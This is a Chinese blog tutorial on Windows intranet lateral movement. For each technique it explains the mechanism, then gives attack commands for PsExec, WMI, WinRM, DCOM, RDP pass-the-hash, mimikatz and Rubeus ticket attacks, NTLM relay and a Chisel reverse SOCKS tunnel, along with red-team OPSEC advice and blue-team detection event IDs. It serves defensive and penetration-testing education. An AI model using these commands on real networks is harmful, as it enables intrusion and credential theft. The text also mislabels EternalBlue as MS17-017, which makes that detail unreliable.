内网横向移动到底有多少种方式？一文全部梳理-平芜编程栈

🔒免责声明：本文内容仅用于授权渗透测试、红蓝对抗、安全运维学习，全部实验操作请在自建隔离靶场完成。未经授权对内网主机进行探测、横向渗透属于违法行为，请严格遵守《网络安全法》相关规定。

前言

当红队拿下内网第一台机器之后，下一步核心动作就是横向移动（Lateral Movement）。从单台沦陷主机，跨越网络访问内网其他服务器、工作站，一步步扩散权限，最终拿到域控、数据库、业务核心服务器，这是内网渗透最核心的环节。

很多新手学习横向移动只会记住 PsExec，遇到防火墙拦截 445 端口直接束手无策。实际护网、红蓝对抗环境中，攻击者手段非常丰富：SMB 系列、WMI、WinRM、DCOM、计划任务、服务、RDP、各种票据传递、NTLM 中继、AD‑CS 证书攻击，甚至还有漏洞利用、隧道代理跳转、第三方服务滥用。

网上资料大多零散，只讲命令不讲前置条件、坑点、检测特征。本文万字长文，按照技术大类完整梳理 Windows 内网主流横向移动技术，每一种包含：原理、端口、利用前置条件、工具命令、实战踩坑、蓝队检测特征。同时区分工作组环境、域环境，最后给出红队实战选型思路、蓝队全套防御检测方案。

重要概念：横向移动两大前提

网络可达：跳板机与目标主机端口互通，防火墙、安全组、VLAN 隔离会直接废掉绝大多数手段；
有效凭据：明文密码、NTLM‑Hash、Kerberos 票据、数字证书；没有凭据，大部分原生横向移动无法执行，只能依靠漏洞 EXP。

适合内网渗透学习者、红队人员、护网蓝队运维、应急响应工程师阅读。

一、横向移动技术整体分类

按照 MITRE ATT&CK 框架 T1021 横向移动大类，我们划分为五大类别：

SMB 协议系列横向移动（445 端口，最经典，护网最常见）
Windows 原生远程管理接口：WMI、WinRM、DCOM、计划任务、远程服务
远程桌面 RDP 协议横向移动（3389）
凭据票据类横向移动：PtH 哈希传递、PtT 票据传递、Overpass‑the‑Hash、黄金 / 白银票据、AD‑CS 证书 PKINIT
中继、漏洞、代理隧道、第三方服务横向：NTLM Relay、漏洞 EXP、代理跳板、FTP/SMB 弱口令等

注意：很多技术是 “组合关系”，例如 IPC$ 共享只是文件通道，配合计划任务才实现命令执行；PtH 是凭据技术，可以搭配 PsExec、WMI、WinRM 多种协议使用。

二、SMB 协议系列横向移动（TCP 445）

SMB 是 Windows 文件共享协议，端口 TCP445，历史上内网横向的 “主力军”。工作组、域环境都支持。
前置通用条件：目标 445 端口开放；拥有管理员凭据；默认管理共享 Admin(、C)开启（很多企业加固关闭 Admin$，直接导致 PsExec 失效）CSDN博…。

2.1 PsExec

原理：Sysinternals 工具集经典工具，通过 SMB 上传 PSEXESVC 服务二进制到 Admin$ 共享，注册一个临时服务，启动服务执行命令，执行完毕删除服务文件，返回执行结果CSDN博…。

工具：原版 PsExec、impacket‑psexec、CobaltStrike psexec 模块。

Linux Impacket 示例：

impacket-psexec domain/administrator:Password123@192.168.10.20 # 使用Hash传递 impacket-psexec domain/administrator@192.168.10.20 -hashes :aad3b435b51404eeaad3b435b51404ee

Windows 本地执行：

PsExec.exe \\192.168.10.20 -u administrator -p Password123 cmd.exe

实战踩坑点

目标关闭 Admin$ 管理共享，PsExec 直接失败；
杀毒 EDR 对PSEXESVC服务特征检测极强，红蓝对抗极易告警；
UAC 远程限制：工作组环境普通管理员本地账号，远程 SMB 访问会触发 UAC 远程过滤，拒绝登录。

蓝队检测特征

日志：服务创建事件 ID 7045，服务名称PSEXESVC；
Admin$ 共享出现临时可执行文件；短时间 445 大量登录、服务创建。

2.2 SmbExec（无文件 PsExec 替代）

原理：SmbExec 不再上传 exe 二进制到磁盘。利用 SMB 远程服务控制，把命令写入目标机器C:\Windows\Temp下 bat 脚本，创建服务调用 cmd 执行脚本，执行完删除脚本文件。磁盘只留下批处理脚本，没有 exe 落地，规避部分针对 PSEXESVC 的查杀。

Impacket smbexec：

impacket-smbexec domain/administrator:Password123@192.168.10.20

坑点：会在目标磁盘留下临时 bat 脚本痕迹；依然依赖 Admin$ 共享。

2.3 Wmiexec（IPC+WMI 复合，高频）

很多人归类 WMI，底层建立 IPC(命名管道，通过WMI接口执行命令，不需要Admin)共享。端口：135+445。

impacket-wmiexec domain/administrator:Password123@192.168.10.20

2.4 IPC$ 配合计划任务（at /schtasks，老式稳健手段）

IPC$ 共享（445）本身不执行命令，只提供远程文件读写。攻击者流程：

建立 IPC 连接；
把恶意脚本上传到目标主机；
远程创建计划任务，定时触发执行；
执行完成删除任务与脚本。

旧版 Windows 使用at命令；Win10/Server2016 之后推荐schtasks。

Windows 示例：

net use \\192.168.10.20\ipc$ "Password123" /user:administrator copy payload.bat \\192.168.10.20\c$\windows\temp\payload.bat schtasks /create /s 192.168.10.20 /ru "administrator" /tn "EvilTask" /tr "C:\windows\temp\payload.bat" /sc once /st 12:00 schtasks /run /s 192.168.10.20 /tn "EvilTask"

坑点：需要开启计划任务服务；时间同步差异会导致任务无法触发；会留下计划任务创建事件日志。

2.5 IPC$ 配合远程 SC 服务创建

通过 IPC 管道调用 sc 命令远程注册服务，服务执行恶意命令。

sc \\192.168.10.20 create EvilService binpath= "cmd /c payload.exe" start= auto sc \\192.168.10.20 start EvilService

注意：服务执行 cmd 会直接闪退，服务程序需要是合法 PE 程序。

2.6 总结 SMB 系列共同限制

防火墙封禁 445 端口 → 全部失效；
关闭 Admin$ 共享，PsExec/SmbExec 失效，但是 WMIExec、IPC+schtasks 依然有可能存活；
工作组本地账号 UAC 远程限制；
现在企业护网普遍会收紧 445 跨网段访问，SMB 横向越来越受限，红队必须掌握其他协议手段做备用。

三、WMI 远程管理横向移动（端口 135 + 动态 DCOM 端口）

WMI Windows 管理规范，端口 TCP135，执行后会使用随机高位 DCOM 动态端口。不需要开启 Admin(共享，不需要SMB管理共享，在很多关闭Admin)的环境可以继续利用。

3.1 wmic 命令原生 WMI 执行

Windows 自带 wmic 二进制，不需要上传第三方工具。

wmic /node:"192.168.10.20" /user:"administrator" /password:"Password123" process call create "cmd.exe /c whoami"

3.2 Impacket wmiexec

前面已经提到，Linux 跨平台最常用。

impacket-wmiexec domain/admin:xxx@192.168.10.20

3.3 Powershell‑Invoke‑WmiMethod

powershell 原生接口，无文件特性。

Invoke‑WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd /c calc.exe" -ComputerName 192.168.10.20 -Credential $cred

WMI 实战坑点

防火墙阻止 135 端口，WMI 直接失败；
DCOM 动态高位端口被防火墙拦截：命令提交成功，但是回显拿不到；
域环境需要目标开启 WMI 服务；
EDR 对 WMI 进程创建行为监控，大量 wmic 调用会触发告警。

蓝队检测特征
事件 ID 4688，wmic.exe、wmiprvse.exe 进程大量创建子进程；WMI 活动日志。

四、WinRM（WS‑Man 协议，5985/5986）

WinRM 是 Windows 远程管理服务，HTTP 端口 5985，HTTPS 端口 5986。域环境服务器经常开启。很多企业防火墙放开 5985，但是封锁 445，SMB 走不通的时候优先尝试 WinRM。

注意：WinRM 默认 Windows 服务器版本不一定开启，需要管理员手动配置启用。

4.1 winrs 原生命令

Windows 自带 winrs 客户端：

winrs -r:http://192.168.10.20:5985 -u:administrator -p:Password123 cmd

4.2 Powershell Enter‑PSSession

PowerShell 远程会话，交互式 shell。

$cred = Get‑Credential Enter‑PSSession -ComputerName 192.168.10.20 -Credential $cred

4.3 Evil‑Winrm（kali 工具）

evil-winrm -i 192.168.10.20 -u administrator -H 'ntlmhash'

WinRM 坑点

目标未开启 WinRM 服务无法利用；
防火墙拦截 5985/5986 端口；
需要凭据账号拥有 PowerShell 远程权限；
HTTPS 5986 端口流量加密，传统日志不容易解析。

蓝队检测：事件 ID4624 登录，进程 wsmprovhost.exe 大量生成。

五、DCOM 组件对象模型横向移动

DCOM 分布式组件对象模型，复用 135 端口 + 动态高位端口。攻击者调用系统 COM 组件远程执行命令，不需要开启 SMB 管理共享。
常用 COM 对象：MMC20.Application、ShellWindows、ShellBrowserWindow。

Powershell 示例调用 MMC20.Application 执行命令：

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.10.20")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami","7")

坑点：工作组 UAC 远程过滤影响；动态高位端口容易被防火墙拦截；Windows 新版本部分 COM 组件权限收紧。

六、RDP 远程桌面横向移动（TCP 3389）

RDP 远程桌面协议，端口 3389。和前面几种不一样：RDP 不是执行单条命令，而是拿到完整交互式桌面会话。

两种场景：

拿到账号密码 / 哈希，直接 mstsc 登录目标桌面；
窃取已经登录在目标机器的用户 RDP 会话，会话劫持。

工具：mstsc、xfreerdp (kali)

xfreerdp /v:192.168.10.20 /u:administrator /p:Password123 # PtH哈希传递登录RDP，需要RestrictedAdmin受限管理员模式 xfreerdp /v:192.168.10.20 /u:administrator /th:ntlmhash

RestrictedAdmin 模式：Win2012 及以后支持，允许使用哈希登录 RDP，不会把本机凭据发送到目标机器。如果不开启 RestrictedAdmin，普通 RDP 不支持直接 PtH 哈希传递。

实战坑点

目标未开启 3389 远程桌面；
防火墙拦截 3389；
账号需要拥有远程桌面用户组权限，不一定需要本地管理员；
大量 RDP 登录失败会触发账号锁定策略。

蓝队检测：4624 登录事件，登录类型 10 代表 RDP 登录，重点监控异常时间、异常源 IP。

七、凭据票据类横向移动（域环境重点，不需要反复爆破密码）

这一类不是独立协议，是凭据复用技术，可以嫁接在 PsExec、WMI、WinRM、RDP 多种协议之上。拿到一份凭据，在内网反复横向多台机器。

7.1 PtH Pass‑the‑Hash 哈希传递

原理：抓取 LSASS 进程内存 SAM 数据库获得账号 NTLM Hash，不需要破解明文密码，直接使用 NTLM 哈希向 SMB/WMI/WinRM 做 NTLM 认证，完成登录。

适用：NTLM 认证协议；工作组、域环境都支持。

工具：Mimikatz、Impacket 全套工具、CobaltStrike beacon pth。
mimikatz 经典命令：

sekurlsa::pth /user:administrator /domain:lab.local /ntlm:aad3b435b51404eeaad3b435b51404ee

坑点：如果域控制器启用 NTLM 阻止策略，PtH 会失效；需要 SeDebugPrivilege 权限 dump LSASS 获取哈希。

7.2 Overpass‑the‑Hash 票据传递（PtH 升级版 OTH）

拿到 NTLM 哈希，不直接做 NTLM 登录；使用哈希向 KDC 域控申请 Kerberos TGT 票据，之后使用 Kerberos 票据访问内网资源。

优势：走 Kerberos 认证，规避部分 NTLM 阻断策略。工具 Rubeus。

Rubeus.exe asktgt /user:administrator /ntlm:xxx /domain:lab.local /dc:192.168.10.10 /ptt

/ptt把 TGT 注入当前内存会话，之后所有访问目标机器自动携带 Kerberos 票据。

7.3 PtT Pass‑the‑Ticket 票据传递

把窃取到的完整 TGT 票据（kirbi 文件）导入内存，直接冒充该用户身份访问内网资源。
来源：攻陷机器 dump 内存拿到其他用户 TGT 票据。

Rubeus.exe ptt /ticket:administrator.kirbi

7.4 黄金票据 Golden Ticket

拿到域 KRBTGT 账号 NTLM 哈希，可以伪造任意用户任意时长 TGT 票据。属于全域持久化，拿到黄金票据，不需要和域控直接交互就可以横向整个域。

高危：KRBTGT 哈希泄露等于整个 AD 域沦陷。

Mimikatz 生成黄金票据：

kerberos::golden /user:fakeadmin /domain:lab.local /sid:S‑1‑5‑21‑xxx /krbtgt:xxx /ptt

7.5 白银票据 Silver Ticket

利用服务账号哈希，伪造特定服务 ST 票据，访问指定机器特定服务（CIFS、HOST、WMI 等）。不需要和 KDC 域控通信，离线伪造。只能访问对应服务，权限范围小于黄金票据。

7.6 AD‑CS 证书 PKINIT 证书横向

前面文章讲过 ESC1 攻击，获取 pfx 客户端证书，通过 PKINIT 协议向 KDC 申请 TGT。证书作为身份凭证，可以跨机器横向。即使账号修改密码，证书依旧有效，持久化能力极强。
工具 Certipy‑ad auth 导入 pfx 证书获取票据。

这是近几年护网非常高频的域内横向手段，不依赖 NTLM 哈希。

八、NTLM Relay 中继攻击（间接横向，不需要拿到凭据）

NTLM 中继本身不直接执行命令，是中间人攻击。攻击者接收 NTLM 认证请求，中继转发到目标服务器，借用受害者身份完成认证，实现横向移动。

经典场景：

PetitPotam 诱导域控机器账号向攻击者 IP 发起 NTLM 认证；
ntlmrelayx 把机器账号身份中继到 SMB 目标机器，执行命令；
ESC8 中继到 AD‑CS Web 注册接口拿到域控机器证书。

impacket-ntlmrelayx -smb2support -t smb://192.168.10.20

前提条件：目标没有开启 EPA 扩展保护认证；SMB 签名没有强制开启。现在新版 Windows 默认开启 SMB 签名，中继攻击成功率下降，但是 Web 服务（HTTP）依旧经常存在可中继点。

重要：NTLM Relay 不需要你拿到账号密码哈希，诱导对方主动过来认证，实现拿权横向。

九、漏洞 EXP 实现横向移动

前面所有手段都需要合法凭据；如果拿到没有凭据的普通权限，可以直接利用远程服务漏洞实现横向。
常见真实护网场景：

PrintNightmare 打印漏洞，远程代码执行；
MS17‑017 永恒之蓝 SMB 漏洞；
Exchange 系列漏洞；
各种业务服务未授权、命令执行漏洞。

特点：不需要账号凭据；但是需要对应漏洞 EXP；大部分现代服务器已经打补丁。

十、代理、隧道、跳板跳转（跨网段横向移动）

上面所有技术都要求跳板机和目标网络直接互通。现实内网经常多层网络隔离：A 网段能访问跳板，跳板能访问 B 网段，A 不能直接访问 B。这时需要代理隧道做跳转，把流量经过沦陷主机代理过去，再执行前面各类横向技术。

10.1 SOCKS 代理

Chisel、Proxychains、SharpSocks。
流程：沦陷机器开启反向 socks 代理，攻击机本地监听 socks 端口，proxychains 把工具流量全部经过跳板转发到隔离内网，之后 impacket、evil‑winrm 全部走代理访问目标主机。

Chisel 示例：
攻击机：

./chisel server -p 8080 --reverse

沦陷 Windows 跳板机执行：

chisel.exe client 攻击IP:8080 R:socks

本地 1080 开启 socks 代理，proxychains 配置指向 1080 端口，之后所有工具流量自动走跳板跨网段横向。

10.2 SSH 端口转发

如果内网存在 Linux 跳板主机，利用 SSH 本地、远程转发打通隔离网段。

10.3 CobaltStrike Beacon 内网代理

beacon 内置 socks4a 代理，实现多层内网穿透跳转。

注意：隧道代理只是打通网络，不会直接拿权限，隧道打通之后，依旧需要凭据或者漏洞完成真正横向执行。

十一、非 Windows 主机横向补充（简单梳理）

很多人只关注 Windows，真实内网大量 Linux 服务器。

SSH 弱口令、密钥泄露：拿到私钥 ssh 登录多台 Linux；
SSH 代理转发做跨网段跳转；
滥用 sudo 权限远程命令执行；
漏洞 EXP（Log4j、Spring 系列）远程拿权横向；
MySQL、Redis 未授权访问，写 webshell、写 ssh‑key 实现横向。

十二、红队实战横向移动选型思路（护网真实流程）

拿到第一台沦陷主机之后，红队一般按照下面优先级尝试横向手段：

先抓取本机全部凭据：dump lsass、sam，收集明文、NTLM 哈希、kerberos 票据、pfx 证书。凭据是横向的弹药库。
内网端口扫描，探测存活主机开放端口：
- 445 开放：优先尝试 SMB 系列（wmiexec 优先，规避 PsExec 高告警）；
- 445 被防火墙拦截，看 5985/5986 开放：使用 evil‑winrm；
- 3389 开放：RDP 登录；
- 135 开放 DCOM/WMI 备选；
域环境优先检查 AD‑CS，尝试证书攻击获取高权限凭证；
如果没有凭据：寻找可中继 NTLM 目标，或者寻找远程漏洞 EXP；
如果目标网段隔离，搭建 socks 隧道跳板，继续对内网其他网段横向。

实战经验：不要死磕 PsExec，现在大量企业封禁 445 端口，WinRM (5985)、Kerberos 票据、证书攻击成功率越来越高。

哪些手段隐蔽性高，红蓝对抗 OPSEC 选择参考

高告警：PsExec（PSEXESVC 服务极易 EDR 告警）
中等告警：WMI、schtasks 计划任务
相对隐蔽：WinRM over HTTPS (5986)、Kerberos 票据、AD‑CS 证书攻击，流量加密，特征少。

十三、蓝队：横向移动检测、告警与防御加固

13.1 重点监控 Windows 安全事件 ID

事件 ID	含义	横向移动告警关注点
4624	账户成功登录	登录类型 2 交互式，3 网络 SMB，10 RDP；监控异常源 IP、非工作时间登录
4625	登录失败	短时间大量登录失败，密码喷洒爆破
7045	服务创建	监控陌生服务名称，PsExec 的 PSEXESVC
4688	进程创建	wmic、wmiprvse、winrs 异常创建 cmd/powershell 子进程
4769	Kerberos 票据请求	异常 TGT 请求，黄金白银票据行为